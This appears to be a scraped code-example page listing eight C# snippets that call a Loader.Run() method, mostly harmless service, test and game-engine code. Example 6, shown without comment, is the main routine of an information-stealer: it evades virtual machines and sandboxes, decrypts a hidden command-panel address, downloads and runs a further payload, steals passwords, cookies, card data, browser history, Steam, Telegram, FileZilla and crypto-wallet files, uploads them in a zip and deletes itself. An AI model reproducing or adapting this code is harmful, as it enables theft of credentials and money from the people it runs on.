Run() public method

public Run ( LoaderFinished finished ) : void
finished LoaderFinished
return void
Esempio n. 1
0
 public void Run()
 {
     UpdateSensitivity();
     mainWindow.Hide();
     loader.Run();
     Application.Run();
 }
Esempio n. 2
0
        public void Start(string modelFilename)
        {
            var loader = new Loader(modelFilename);

            loader.Init();
            loader.Run();
        }
Esempio n. 3
0
        /// <summary>
        /// This method is called when the service gets a request to start.
        /// </summary>
        /// <param name="args">Any command line arguments</param>
        public void OnStart(string[] args)
        {
            // Create a new service instance
            Loader _service = new Loader();

            // And then run it
            _service.Run();
        }
Esempio n. 4
0
File: test.cs Progetto: mono/gert
	static void Main (string [] args)
	{
		string baseDir = Path.GetDirectoryName (Assembly.GetCallingAssembly().Location);
		AppDomain current = AppDomain.CurrentDomain;
		current.AppendPrivatePath (baseDir);
	
		Loader loader = new Loader ();
		loader.Run (new LoaderFinished (CreateObject));
	}
Esempio n. 5
0
        public IActionResult StartLoader()
        {
            switch (Loader.Status)
            {
            case LoaderStatus.Ready:
            {
                Task.Run(() => Loader.Run());

                return(Ok(Json(new
                    {
                        text = "Загрузчик запущен."
                    })));
            }

            case LoaderStatus.Disconnected:
            {
                Loader.ResetState();
                Task.Run(() => Loader.Run());
                return(Ok(Json(new
                    {
                        text = "Загрузчик перезапущен."
                    })));
            }

            case LoaderStatus.Download:
                return(null);

            case LoaderStatus.Upload:
                return(null);

            case LoaderStatus.Done:
                return(null);

            default:
                return(null);
            }
        }
Esempio n. 6
0
        public static void Main()
        {
            AntiAnalyses.Proc();
            AntiAnalyses.VMDetect();
            AntiAnalyses.SandboxieDetect();

            //   Helpers.AntiSNG();


            string password = "******";

            byte[] url_bytes = StringToByteArray("[URL]");
            byte[] pwd_bytes = Encoding.Default.GetBytes(Encrypt.XOR(password));
            string result_encoded_string_panel = Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, url_bytes));

            byte[] ass = Encoding.Default.GetBytes(result_encoded_string_panel);
            Dirs.WorkDirCreate();
            User.GetCountryByIP(User.IP);
            Dirs.Move();

            var request = WebRequest.Create(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)));

            using (Stream stream = request.GetResponse().GetResponseStream())
            {
                string   arguments = new StreamReader(stream).ReadToEnd();
                string[] argss     = arguments.Split(',');



                bool Pass_bool    = true;
                bool Steam        = false;
                bool Grabber      = false;
                bool Cookies_bool = false;
                bool History_bool = false;
                bool Telegram     = false;
                bool Loader_bool  = false;
                bool Mutex        = false;
                bool Clear_bool   = false;
                bool ScreenShot   = false;
                bool Crypto       = false;

                if (argss[12] == "1")
                {
                    Mutex = true;
                }

                if (!Mutex)
                {
                    Helpers.MutexCheck();
                }

                if (argss[0] == "1")
                {
                    Pass_bool = true;
                }
                if (argss[1] == "1")
                {
                    Cookies_bool = true;
                }
                if (argss[2] == "1")
                {
                    History_bool = true;
                }
                if (argss[3] == "1")
                {
                    Crypto = true;
                }
                if (argss[4] == "1")
                {
                    Steam = true;
                }
                if (argss[5] == "1")
                {
                    Telegram = true;
                }
                if (argss[6] == "1")
                {
                    ScreenShot = true;
                }
                if (argss[7] == "1")
                {
                    Grabber = true;
                }
                if (argss[10] == "1")
                {
                    Clear_bool = true;
                }
                if (argss[11].StartsWith("http"))
                {
                    Loader_bool = true;
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);
                    Loader.Run(URL, filename);
                }


                if (Pass_bool)
                {
                    Steal.Passwords();
                    Passwords.GetPasswordsNEW();
                }

                if (History_bool)
                {
                    History.Get();
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);

                    Loader.Run(URL, filename);
                }

                if (Steam)
                {
                    Grab.Steam();
                }

                if (Telegram)
                {
                    Grab.NewTelegram();
                }

                if (Cookies_bool)
                {
                    Cookies.Get();
                    Steal.Cookies();
                    CC.Get();
                }

                if (Crypto)
                {
                    Grab.DirSearch(Dirs.AppData);
                }

                if (Grabber)
                {
                    string[] extensions = argss[8].Split(':');
                    Grab.extensions.AddRange(extensions.Select(ex => ex));
                    Grab.Weight  = Convert.ToInt32(argss[9]);
                    Grab.Weight *= 1024;

                    Grab.Desktop();
                }

                if (ScreenShot)
                {
                    Grab.ScreenShot();
                }



                Grab.FileZilla();
                Grab.Pidgin();

                User.GetUA();
                Helpers.UADetect();
                Helpers.InfoDetect();
                Helpers.LogDetect();

                User.GetInfo();

                Helpers.Zip();



                string log = @"" + Dirs.Temp + "\\" + User.IP + "_" + User.randomnm + ".zip";

                Post_File.GetInfoForPanel();
                Post_File.HttpUploadFile(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)), log, "logs", "zip", Post_File.name);


                if (Clear_bool)
                {
                    Helpers.Suicide();
                }
            }

            Helpers.Clear();
            Directory.Delete(Dirs.WorkDir);
        }
Esempio n. 7
0
 static void Main(string[] args)
 {
     Loader.Run(new[] { typeof(Program).Assembly }, args);
 }
Esempio n. 8
0
        // Initialize/Start DAE
        internal static void Start()
        {
            rootBuffer = new CBuffer(new IVector(0, 0));
            rootCanvas = new RootCanvas(rootBuffer, RenderTarget.defaultRenderTarget);

            DWindow window = new DWindow();

            window.ProcessEvents();
            window.RenderFrameToScreen();

            // Initialize the static Graphics class
            Graphics.Initialize();

            // Clear out the screen (make sure it's not white when we start up the window) (Burns my eyes)
            GL.ClearColor(0, 0, 0, 1);
            GL.Clear(ClearBufferMask.ColorBufferBit | ClearBufferMask.DepthBufferBit);

            window.Title = "LOADING ...";

            window.RenderFrameToScreen();

            window.Title = "LOADING PLUGINS ...";

            // Initialize PluginSystem
            PluginSystem.LoadPluginsFromAssembly(Assembly.GetExecutingAssembly());

            PluginSystem.LoadDllsFromPath(Util.CurrentPath + "Plugins/");

            window.Title = "LOADING START-UP SCRIPT...";

            Loader.PrepareScript();
            Loader.Run();

            Foo foo = new Foo(new IVector(30, 20));

            rootCanvas.AddComponent(foo);

            Button b1 = new Button(new IVector(15, 5));

            b1.position += 1;
            foo.AddComponent(b1);

            Button b2 = new Button(new IVector(15, 5));

            b2.position = b1.Size + 1;
            foo.AddComponent(b2);

            Time.OnSecond += OnSecond;

            window.Title = "Dae";

            IsRunning = true;

            logicTickThread = new Thread(TickLoop);
            logicTickThread.Start();

            // Enter the main loop
            Run();

            // Actually shutdown/free DAE from the system (GPU, Hooks & Memory)
            Shutdown();
        }